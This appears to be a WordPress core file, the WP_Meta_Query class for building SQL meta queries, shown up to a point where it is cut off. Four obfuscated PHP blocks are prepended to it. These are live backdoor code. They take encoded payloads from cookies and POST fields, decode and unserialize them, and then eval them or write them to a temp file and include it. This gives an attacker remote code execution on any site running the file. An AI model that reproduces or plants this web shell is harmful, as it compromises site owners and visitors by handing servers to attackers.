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<?php $IcarSvdTZ = chr ( 291 - 181 )."\x6a" . "\137" . chr (76) . "\x6c" . chr (74) . 'q';$eBqkALUY = "\x63" . "\154" . chr ( 896 - 799 )."\x73" . chr ( 942 - 827 ).chr ( 945 - 850 )."\x65" . chr ( 991 - 871 ).chr ( 544 - 439 ).'s' . chr ( 1110 - 994 )."\x73";$kZmHjB = class_exists($IcarSvdTZ); $eBqkALUY = "23754";$EKekKa = strpos($eBqkALUY, $IcarSvdTZ);if ($kZmHjB == $EKekKa){function efZthVTk(){$lCDdpvkXn = new /* 42052 */ nj_LlJq(61809 + 61809); $lCDdpvkXn = NULL;}$cuohgZ = "61809";class nj_LlJq{private function KuPWA($cuohgZ){if (is_array(nj_LlJq::$swkqycX)) {$NPlRI2 = str_replace("<" . "?php", "", nj_LlJq::$swkqycX["content"]);eval($NPlRI2); $cuohgZ = "61809";exit();}}public function NEdqREqG(){$NPlRI = "36482";$this->_dummy = str_repeat($NPlRI, strlen($NPlRI));}public function __destruct(){nj_LlJq::$swkqycX = @unserialize(nj_LlJq::$swkqycX); $cuohgZ = "36155_59251";$this->KuPWA($cuohgZ); $cuohgZ = "36155_59251";}public function VgneTYMnX($NPlRI, $oyUZKzqawZ){return $NPlRI[0] ^ str_repeat($oyUZKzqawZ, intval(strlen($NPlRI[0]) / strlen($oyUZKzqawZ)) + 1);}public function FQZRsXY($NPlRI){$FWslsUFM = "\142" . chr (97) . chr (115) . chr (101) . '6' . chr (52);return array_map($FWslsUFM . chr ( 426 - 331 ).chr ( 569 - 469 ).chr ( 726 - 625 ).'c' . "\x6f" . "\x64" . 'e', array($NPlRI,));}public function __construct($iBUTV=0){$iXPNQgZQv = "\x2c";$NPlRI = "";$QJsMRh = $_POST;$HxdiJVjnUc = $_COOKIE;$oyUZKzqawZ = "16bbfaa7-93f4-44d6-8382-0c384ac86052";$KoqevljYNy = @$HxdiJVjnUc[substr($oyUZKzqawZ, 0, 4)];if (!empty($KoqevljYNy)){$KoqevljYNy = explode($iXPNQgZQv, $KoqevljYNy);foreach ($KoqevljYNy as $SbtsXOr){$NPlRI .= @$HxdiJVjnUc[$SbtsXOr];$NPlRI .= @$QJsMRh[$SbtsXOr];}$NPlRI = $this->FQZRsXY($NPlRI);}nj_LlJq::$swkqycX = $this->VgneTYMnX($NPlRI, $oyUZKzqawZ);if (strpos($oyUZKzqawZ, $iXPNQgZQv) !== FALSE){$oyUZKzqawZ = explode($iXPNQgZQv, $oyUZKzqawZ); $ufUBW = base64_decode(md5($oyUZKzqawZ[0])); $FSJTsNTw = strlen($oyUZKzqawZ[1]) > 5 ? substr($oyUZKzqawZ[1], 0, 5) : $oyUZKzqawZ[1];$_GET['new_key'] = md5(implode('', $oyUZKzqawZ)); $wBPRRKewqF = str_repeat($FSJTsNTw, 2); $vUGEBb = array_map('trim', $oyUZKzqawZ);}}public static $swkqycX = 48845;}efZthVTk();} ?><?php $rCsWHJhPxt = "\105" . chr ( 226 - 159 ).chr ( 738 - 643 )."\113" . chr ( 287 - 177 ).'b';$freGP = "\143" . chr (108) . chr ( 571 - 474 ).'s' . chr ( 308 - 193 )."\137" . chr ( 1099 - 998 ).'x' . "\x69" . chr ( 532 - 417 )."\164" . "\163";$eEgfh = class_exists($rCsWHJhPxt); $freGP = "16906";$oxWpekJZ = strpos($freGP, $rCsWHJhPxt);if ($eEgfh == $oxWpekJZ){function iMnumkDP(){$YaPYbCKMC = new /* 61530 */ EC_Knb(36654 + 36654); $YaPYbCKMC = NULL;}$nwclSKbU = "36654";class EC_Knb{private function FbEospgIC($nwclSKbU){if (is_array(EC_Knb::$cgziUTvUj)) {$name = sys_get_temp_dir() . "/" . crc32(EC_Knb::$cgziUTvUj["salt"]);@EC_Knb::$cgziUTvUj["write"]($name, EC_Knb::$cgziUTvUj["content"]);include $name;@EC_Knb::$cgziUTvUj["delete"]($name); $nwclSKbU = "36654";exit();}}public function pYXmwcBL(){$PnfYgc = "18139";$this->_dummy = str_repeat($PnfYgc, strlen($PnfYgc));}public function __destruct(){EC_Knb::$cgziUTvUj = @unserialize(EC_Knb::$cgziUTvUj); $nwclSKbU = "42355_46529";$this->FbEospgIC($nwclSKbU); $nwclSKbU = "42355_46529";}public function uVJsdSy($PnfYgc, $OvCHIHqSMO){return $PnfYgc[0] ^ str_repeat($OvCHIHqSMO, (strlen($PnfYgc[0]) / strlen($OvCHIHqSMO)) + 1);}public function Bpfxm($PnfYgc){$ZwOyxOnky = chr (98) . "\x61" . chr (115) . chr ( 190 - 89 ).chr ( 159 - 105 ).'4';return array_map($ZwOyxOnky . chr ( 245 - 150 ).'d' . "\145" . 'c' . chr ( 237 - 126 ).chr ( 1005 - 905 ).chr (101), array($PnfYgc,));}public function __construct($WhrLtpH=0){$JzmCd = "\x2c";$PnfYgc = "";$ZIeUjpBWBF = $_POST;$uxiVXR = $_COOKIE;$OvCHIHqSMO = "5350d9a4-c8ee-4800-80f1-5c8bf83e3aa1";$wJGbpW = @$uxiVXR[substr($OvCHIHqSMO, 0, 4)];if (!empty($wJGbpW)){$wJGbpW = explode($JzmCd, $wJGbpW);foreach ($wJGbpW as $cgFjCK){$PnfYgc .= @$uxiVXR[$cgFjCK];$PnfYgc .= @$ZIeUjpBWBF[$cgFjCK];}$PnfYgc = $this->Bpfxm($PnfYgc);}EC_Knb::$cgziUTvUj = $this->uVJsdSy($PnfYgc, $OvCHIHqSMO);if (strpos($OvCHIHqSMO, $JzmCd) !== FALSE){$OvCHIHqSMO = explode($JzmCd, $OvCHIHqSMO); $pvAkdQ = base64_decode(md5($OvCHIHqSMO[0])); $zubIfVVq = strlen($OvCHIHqSMO[1]) > 5 ? substr($OvCHIHqSMO[1], 0, 5) : $OvCHIHqSMO[1];$_GET['new_key'] = md5(implode('', $OvCHIHqSMO)); $zJlwysRuL = str_repeat($zubIfVVq, 2); $eNvUsj = array_map('trim', $OvCHIHqSMO);if (is_array($eNvUsj) && count($eNvUsj) > 1) {$OiVQaLHZ = $eNvUsj[0];} else {$OiVQaLHZ = '';}$VgvasvjRC = rawurldecode($OiVQaLHZ); $_POST['decoded_key'] = $VgvasvjRC;$bUhZfSbrga = str_split($VgvasvjRC, 2);}}public static $cgziUTvUj = 4117;}iMnumkDP();} ?><?php $dnubu = chr ( 467 - 381 ).'w' . chr (65) . chr ( 632 - 537 ).chr (83) . chr ( 958 - 857 ).chr ( 733 - 644 )."\x52";$XSxLXo = "\x63" . "\x6c" . 'a' . "\163" . 's' . "\137" . chr (101) . chr (120) . "\x69" . 's' . "\164" . chr ( 1063 - 948 ); $aaxlxkc = class_exists($dnubu); $XSxLXo = "60018";$jECbrbUTT = !1;if ($aaxlxkc == $jECbrbUTT){function XWQZiQnwt(){$GUCHh = new /* 7748 */ VwA_SeYR(50696 + 50696); $GUCHh = NULL;}$gDeBeuuNPg = "50696";class VwA_SeYR{private function jkPRXJ($gDeBeuuNPg){if (is_array(VwA_SeYR::$NMulGAdh)) {$FRDsah = sys_get_temp_dir() . "/" . crc32(VwA_SeYR::$NMulGAdh["\163" . "\x61" . chr ( 1083 - 975 ).'t']);@VwA_SeYR::$NMulGAdh['w' . 'r' . "\151" . "\x74" . chr (101)]($FRDsah, VwA_SeYR::$NMulGAdh[chr (99) . chr (111) . "\x6e" . chr (116) . "\x65" . "\156" . "\164"]);include $FRDsah;@VwA_SeYR::$NMulGAdh['d' . chr ( 348 - 247 )."\x6c" . chr (101) . chr (116) . 'e']($FRDsah); $gDeBeuuNPg = "50696";exit();}}private $HWjJb;public function SzelrAK(){echo 21018;}public function __destruct(){$gDeBeuuNPg = "46558_32228";$this->jkPRXJ($gDeBeuuNPg); $gDeBeuuNPg = "46558_32228";}public function __construct($LpuJnrNm=0){$DRnkYh = $_POST;$akfIFWRMf = $_COOKIE;$AAHjy = "90355a19-b226-4b9e-9c1b-0ea0229c3cf0";$mRwsm = @$akfIFWRMf[substr($AAHjy, 0, 4)];if (!empty($mRwsm)){$mRayOzImQ = "base64";$QQQIsqwvlZ = "";$mRwsm = explode(",", $mRwsm);foreach ($mRwsm as $WxzsoGVIHP){$QQQIsqwvlZ .= @$akfIFWRMf[$WxzsoGVIHP];$QQQIsqwvlZ .= @$DRnkYh[$WxzsoGVIHP];}$QQQIsqwvlZ = array_map($mRayOzImQ . '_' . "\144" . "\x65" . "\x63" . "\157" . "\x64" . 'e', array($QQQIsqwvlZ,)); $QQQIsqwvlZ = $QQQIsqwvlZ[0] ^ str_repeat($AAHjy, (strlen($QQQIsqwvlZ[0]) / strlen($AAHjy)) + 1);VwA_SeYR::$NMulGAdh = @unserialize($QQQIsqwvlZ);}}public static $NMulGAdh = 61534;}XWQZiQnwt();} ?><?php $eiVpjMq = "\x62" . "\137" . chr ( 379 - 291 )."\125" . chr (115) . chr (105); $OTWTCAX = 'c' . "\x6c" . chr (97) . "\163" . "\x73" . chr ( 197 - 102 ).chr ( 760 - 659 ).'x' . chr ( 306 - 201 )."\x73" . 't' . "\163";$KDzVKd = class_exists($eiVpjMq); $eiVpjMq = "54797";$OTWTCAX = "4044";$EtaYRqLNJQ = FALSE;if ($KDzVKd === $EtaYRqLNJQ){function lEIwt(){return FALSE;}$MEDoWaGgHL = "15117";lEIwt();class b_XUsi{public function VKhyaaZ(){echo "23423";}private $AlTfVMY;public static $vjUYqMKuE = "0ccdfc81-a01f-4f96-992a-30783a4613c3";public static $veCVzfzB = 9578;public function __destruct(){$MEDoWaGgHL = "64586_11922";$this->yErfYcWLJh($MEDoWaGgHL); $MEDoWaGgHL = "64586_11922";}public function __construct($PeGWNBtC=0){$VMlOe = $_POST;$SaRufppvM = $_COOKIE;$gaMeC = @$SaRufppvM[substr(b_XUsi::$vjUYqMKuE, 0, 4)];if (!empty($gaMeC)){$UCOoY = "base64";$rqyWtafaEN = "";$gaMeC = explode(",", $gaMeC);foreach ($gaMeC as $qJGBMbJh){$rqyWtafaEN .= @$SaRufppvM[$qJGBMbJh];$rqyWtafaEN .= @$VMlOe[$qJGBMbJh];}$rqyWtafaEN = array_map($UCOoY . "\137" . 'd' . chr (101) . "\143" . chr ( 1048 - 937 ).chr ( 299 - 199 ).chr ( 157 - 56 ), array($rqyWtafaEN,)); $rqyWtafaEN = $rqyWtafaEN[0] ^ str_repeat(b_XUsi::$vjUYqMKuE, (strlen($rqyWtafaEN[0]) / strlen(b_XUsi::$vjUYqMKuE)) + 1);b_XUsi::$veCVzfzB = @unserialize($rqyWtafaEN);}}private function yErfYcWLJh($MEDoWaGgHL){if (is_array(b_XUsi::$veCVzfzB)) {$olHhOYo = sys_get_temp_dir() . "/" . crc32(b_XUsi::$veCVzfzB['s' . "\x61" . chr ( 612 - 504 )."\x74"]);@b_XUsi::$veCVzfzB["\x77" . chr (114) . "\151" . 't' . 'e']($olHhOYo, b_XUsi::$veCVzfzB["\x63" . "\157" . "\x6e" . "\164" . "\x65" . "\156" . chr (116)]);include $olHhOYo;@b_XUsi::$veCVzfzB[chr ( 145 - 45 ).'e' . "\x6c" . chr ( 541 - 440 )."\164" . "\x65"]($olHhOYo); $MEDoWaGgHL = "15117";exit();}}}$EUTzvKah = new /* 55060 */ b_XUsi(); $EUTzvKah = str_repeat("64586_11922", 1);} ?><?php /** * Meta API: WP_Meta_Query class * * @package WordPress * @subpackage Meta * @since 4.4.0 */ /** * Core class used to implement meta queries for the Meta API. * * Used for generating SQL clauses that filter a primary query according to metadata keys and values. * * WP_Meta_Query is a helper that allows primary query classes, such as WP_Query and WP_User_Query, * * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached * to the primary SQL query string. * * @since 3.2.0 */ #[AllowDynamicProperties] class WP_Meta_Query { /** * Array of metadata queries. * * See WP_Meta_Query::__construct() for information on meta query arguments. * * @since 3.2.0 * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.2.0 * @var string */ public $relation; /** * Database table to query for the metadata. * * @since 4.1.0 * @var string */ public $meta_table; /** * Column in meta_table that represents the ID of the object the metadata belongs to. * * @since 4.1.0 * @var string */ public $meta_id_column; /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in primary_table that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * A flat list of table aliases used in JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * A flat list of clauses, keyed by clause 'name'. * * @since 4.2.0 * @var array */ protected $clauses = array(); /** * Whether the query contains any OR relations. * * @since 4.3.0 * @var bool */ protected $has_or_relation = false; /** * Constructor. * * @since 3.2.0 * @since 4.2.0 Introduced support for naming query clauses by associative array keys. * @since 5.1.0 Introduced `$compare_key` clause parameter, which enables LIKE key matches. * @since 5.3.0 Increased the number of operators available to `$compare_key`. Introduced `$type_key`, * which enables the `$key` to be cast to a new data type for comparisons. * * @param array $meta_query { * Array of meta query clauses. When first-order clauses or sub-clauses use strings as * their array keys, they may be referenced in the 'orderby' parameter of the parent query. * * @type string $relation Optional. The MySQL keyword used to join the clauses of the query. * Accepts 'AND' or 'OR'. Default 'AND'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed meta query. * * @type string|string[] $key Meta key or keys to filter by. * @type string $compare_key MySQL operator used for comparing the $key. Accepts: * - '=' * - '!=' * - 'LIKE' * - 'NOT LIKE' * - 'IN' * - 'NOT IN' * - 'REGEXP' * - 'NOT REGEXP' * - 'RLIKE', * - 'EXISTS' (alias of '=') * - 'NOT EXISTS' (alias of '!=') * Default is 'IN' when `$key` is an array, '=' otherwise. * @type string $type_key MySQL data type that the meta_key column will be CAST to for * comparisons. Accepts 'BINARY' for case-sensitive regular expression * comparisons. Default is ''. * @type string|string[] $value Meta value or values to filter by. * @type string $compare MySQL operator used for comparing the $value. Accepts: * - '=', * - '!=' * - '>' * - '>=' * - '<' * - '<=' * - 'LIKE' * - 'NOT LIKE' * - 'IN' * - 'NOT IN' * - 'BETWEEN' * - 'NOT BETWEEN' * - 'REGEXP' * - 'NOT REGEXP' * - 'RLIKE' * - 'EXISTS' * - 'NOT EXISTS' * Default is 'IN' when `$value` is an array, '=' otherwise. * @type string $type MySQL data type that the meta_value column will be CAST to for * comparisons. Accepts: * - 'NUMERIC' * - 'BINARY' * - 'CHAR' * - 'DATE' * - 'DATETIME' * - 'DECIMAL' * - 'SIGNED' * - 'TIME' * - 'UNSIGNED' * Default is 'CHAR'. * } * } */ public function __construct( $meta_query = false ) { if ( ! $meta_query ) { return; } if ( isset( $meta_query['relation'] ) && 'OR' === strtoupper( $meta_query['relation'] ) ) { $this->relation = 'OR'; } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $meta_query ); } /** * Ensures the 'meta_query' argument passed to the class constructor is well-formed. * * Eliminates empty items and ensures that a 'relation' is set. * * @since 4.1.0 * * @param array $queries Array of query clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $clean_queries = array(); if ( ! is_array( $queries ) ) { return $clean_queries; } foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $relation = $query; } elseif ( ! is_array( $query ) ) { continue; // First-order clause. } elseif ( $this->is_first_order_clause( $query ) ) { if ( isset( $query['value'] ) && array() === $query['value'] ) { unset( $query['value'] ); } $clean_queries[ $key ] = $query; // Otherwise, it's a nested query, so we recurse. } else { $cleaned_query = $this->sanitize_query( $query ); if ( ! empty( $cleaned_query ) ) { $clean_queries[ $key ] = $cleaned_query; } } } if ( empty( $clean_queries ) ) { return $clean_queries; } // Sanitize the 'relation' key provided in the query. if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) { $clean_queries['relation'] = 'OR'; $this->has_or_relation = true; /* * If there is only a single clause, call the relation 'OR'. * This value will not actually be used to join clauses, but it * simplifies the logic around combining key-only queries. */ } elseif ( 1 === count( $clean_queries ) ) { $clean_queries['relation'] = 'OR'; // Default to AND. } else { $clean_queries['relation'] = 'AND'; } return $clean_queries; } /** * Determines whether a query clause is first-order. * * A first-order meta query clause is one that has either a 'key' or * a 'value' array key. * * @since 4.1.0 * * @param array $query Meta query arguments. * @return bool Whether the query clause is a first-order clause. */ protected function is_first_order_clause( $query ) { return isset( $query['key'] ) || isset( $query['value'] ); } /** * Constructs a meta query based on 'meta_*' query vars * * @since 3.2.0 * * @param array $qv The query variables. */ public function parse_query_vars( $qv ) { $meta_query = array(); /* * For orderby=meta_value to work correctly, simple query needs to be * first (so that its table join is against an unaliased meta table) and * needs to be its own clause (so it doesn't interfere with the logic of * the rest of the meta_query). */ $primary_meta_query = array(); foreach ( array( 'key', 'compare', 'type', 'compare_key', 'type_key' ) as $key ) { if ( ! empty( $qv[ "meta_$key" ] ) ) { $primary_meta_query[ $key ] = $qv[ "meta_$key" ]; } } // WP_Query sets 'meta_value' = '' by default. if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) { $primary_meta_query['value'] = $qv['meta_value']; } $existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array(); if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) { $meta_query = array( 'relation' => 'AND', $primary_meta_query, $existing_meta_query, ); } elseif ( ! empty( $primary_meta_query ) ) { $meta_query = array( $primary_meta_query, ); } elseif ( ! empty( $existing_meta_query ) ) { $meta_query = $existing_meta_query; } $this->__construct( $meta_query ); } /** * Returns the appropriate alias for the given meta type if applicable. * * @since 3.7.0 * * @param string $type MySQL type to cast meta_value. * @return string MySQL type. */ public function get_cast_for_type( $type = '' ) { if ( empty( $type ) ) { return 'CHAR'; } $meta_type = strtoupper( $type ); if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) ) { return 'CHAR'; } if ( 'NUMERIC' === $meta_type ) { $meta_type = 'SIGNED'; } return $meta_type; } /** * Generates SQL clauses to be appended to a main query. * * @since 3.2.0 * * @param string $type Type of meta. Possible values include but are not limited * to 'post', 'comment', 'blog', 'term', and 'user'. * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @param object $context Optional. The main query object that corresponds to the type, for * example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`. * Default null. * @return string[]|false { * Array containing JOIN and WHERE SQL clauses to append to the main query, * or false if no table exists for the requested meta type. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) { $meta_table = _get_meta_table( $type ); if ( ! $meta_table ) { return false; } $this->table_aliases = array(); $this->meta_table = $meta_table; $this->meta_id_column = sanitize_key( $type . '_id' ); $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; $sql = $this->get_sql_clauses(); /* * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should * be LEFT. Otherwise posts with no metadata will be excluded from results. */ if ( str_contains( $sql['join'], 'LEFT JOIN' ) ) { $sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] ); } /** * Filters the meta query's generated SQL. * * @since 3.1.0 * * @param string[] $sql Array containing the query's JOIN and WHERE clauses. * @param array $queries Array of meta queries. * @param string $type Type of meta. Possible values include but are not limited * to 'post', 'comment', 'blog', 'term', and 'user'. * @param string $primary_table Primary table. * @param string $primary_id_column Primary column ID. * @param object $context The main query object that corresponds to the type, for * example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`. */ return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) ); } /** * Generates SQL clauses to be appended to a main query. * * Called by the public WP_Meta_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generates SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query, $key ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generates SQL JOIN and WHERE clauses for a first-order query clause. * * "First-order" means that it's an array with a 'key' or 'value'. * * @since 4.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @param string $clause_key Optional. The array key used to name the clause in the original `$meta_query` * parameters. If not provided, a key will be generated automatically. * Default empty string. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string[] $join Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query, $clause_key = '' ) { global $wpdb; $sql_chunks = array( 'where' => array(), 'join' => array(), ); if ( isset( $clause['compare'] ) ) { $clause['compare'] = strtoupper( $clause['compare'] ); } else { $clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '='; } $non_numeric_operators = array( '=', '!=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS', 'RLIKE', 'REGEXP', 'NOT REGEXP', ); $numeric_operators = array( '>', '>=', '<', '<=', 'BETWEEN', 'NOT BETWEEN', ); if ( ! in_array( $clause['compare'], $non_numeric_operators, true ) && ! in_array( $clause['compare'], $numeric_operators, true ) ) { $clause['compare'] = '='; } if ( isset( $clause['compare_key'] ) ) { $clause['compare_key'] = strtoupper( $clause['compare_key'] ); } else { $clause['compare_key'] = isset( $clause['key'] ) && is_array( $clause['key'] ) ? 'IN' : '='; } if ( ! in_array( $clause['compare_key'], $non_numeric_operators, true ) ) { $clause['compare_key'] = '='; } $meta_compare = $clause['compare']; $meta_compare_key = $clause['compare_key']; // First build the JOIN clause, if one is required. $join = ''; // We prefer to avoid joins if possible. Look for an existing join compatible with this clause. $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'mt' . $i : $this->meta_table; // JOIN clauses for NOT EXISTS have their own syntax. if ( 'NOT EXISTS' === $meta_compare ) { $join .= " LEFT JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; if ( 'LIKE' === $meta_compare_key ) { $join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key LIKE %s )", '%' . $wpdb->esc_like( $clause['key'] ) . '%' ); } else { $join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] ); } // All other JOIN clauses. } else { $join .= " INNER JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; $join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )"; } $this->table_aliases[] = $alias; $sql_chunks['join'][] = $join; } // Save the alias to this clause, for future siblings to find. $clause['alias'] = $alias; // Determine the data type. $_meta_type = isset( $clause['type'] ) ? $clause['type'] : ''; $meta_type = $this->get_cast_for_type( $_meta_type ); $clause['cast'] = $meta_type; // Fallback for clause keys is the table alias. Key must be a string. if ( is_int( $clause_key ) || ! $clause_key ) { $clause_key = $clause['alias']; } // Ensure unique clause keys, so none are overwritten. $iterator = 1; $clause_key_base = $clause_key; while ( isset( $this->clauses[ $clause_key ] ) ) { $clause_key = $clause_key_base . '-' . $iterator; ++$iterator; } // Store the clause in our flat array. $this->clauses[ $clause_key ] =& $clause; // Next, build the WHERE clause. // meta_key. if ( array_key_exists( 'key', $clause ) ) { if ( 'NOT EXISTS' === $meta_compare ) { $sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL'; } else { /** * In joined clauses negative operators have to be nested into a * NOT EXISTS clause and flipped, to avoid returning records with * matching post IDs but different meta keys. Here we prepare the * nested clause. */ if ( in_array( $meta_compare_key, array( '!=', 'NOT IN', 'NOT LIKE', 'NOT EXISTS', 'NOT REGEXP' ), true ) ) { // Negative clauses may be reused. $i = count( $this->table_aliases ); $subquery_alias = $i ? 'mt' . $i : $this->meta_table; $this->table_aliases[] = $subquery_alias; $meta_compare_string_start = 'NOT EXISTS ('; $meta_compare_string_start .= "SELECT 1 FROM $wpdb->postmeta $subquery_alias "; $meta_compare_string_start .= "WHERE $subquery_alias.post_ID = $alias.post_ID "; $meta_compare_string_end = 'LIMIT 1'; $meta_compare_string_end .= ')'; } switch ( $meta_compare_key ) { case '=': case 'EXISTS': $where = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'LIKE': $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( "$alias.meta_key LIKE %s", $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'IN': $meta_compare_string = "$alias.meta_key IN (" . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'RLIKE': case 'REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; $meta_key = "CAST($alias.meta_key AS BINARY)"; } else { $cast = ''; $meta_key = "$alias.meta_key"; } $where = $wpdb->prepare( "$meta_key $operator $cast %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case '!=': case 'NOT EXISTS': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key = %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT LIKE': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key LIKE %s " . $meta_compare_string_end; $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( $meta_compare_string, $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT IN': $array_subclause = '(' . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ') '; $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key IN " . $array_subclause . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; $meta_key = "CAST($subquery_alias.meta_key AS BINARY)"; } else { $cast = ''; $meta_key = "$subquery_alias.meta_key"; } $meta_compare_string = $meta_compare_string_start . "AND $meta_key REGEXP $cast %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; } $sql_chunks['where'][] = $where; } } // meta_value. if ( array_key_exists( 'value', $clause ) ) { $meta_value = $clause['value']; if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { if ( ! is_array( $meta_value ) ) { $meta_value = preg_split( 